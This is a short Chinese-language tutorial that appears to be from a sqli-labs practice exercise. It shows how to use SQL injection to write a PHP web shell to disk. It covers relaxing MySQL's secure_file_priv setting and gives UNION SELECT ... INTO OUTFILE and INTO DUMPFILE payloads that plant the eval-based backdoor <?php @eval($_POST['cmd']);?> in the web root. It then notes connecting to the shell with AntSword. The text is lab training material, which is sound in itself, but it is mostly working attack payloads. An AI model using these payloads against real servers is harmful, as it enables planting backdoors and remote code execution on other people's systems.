前提条件:
1、知道web路径
2、有文件写入权限
3、能用select into outfile导出文件
sqlilab靶场测试
首先设置靶场目录可写权限:
来到C:\phpstudy\PHPTutorial\MySQL目录下,打开my.ini文件,添加一句:secure_file_priv="/"
原因:
如果secure_file_priv=NULL,MYSQL服务会禁止导入和导出操作。
如果secure_file_priv=/tmp/,MYSQL服务只能在/tmp/目录下导入和导出
如果secure_file_priv="" ,MYSQL服务导入和导出不做限制
开始写入shell:
直接进入靶场,这里就忽略判断注入点、判断字段数、判断回显位这些步骤了。
绝对路径可以通过sqlilab前面关卡获取。
直接进行文件写入,本次在 C:\phpstudy\PHPTutorial\WWW\sqli\ 路径下写入一个shell.php,内容为:<?php @eval($_POST['cmd']);?>
?id=1' union select 1,"<?php @eval($_POST['cmd']);?>",3 into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\sqli\\shell.php' --+
写入成功:
蚁剑尝试连接成功:
dumpfile函数写入同理:
union select 1,"<?php @eval($_POST['pass']);?>",3 into dumpfile 'C:\\phpstudy\\PHPTutorial\\WWW\\sqli\\aa2.php'--+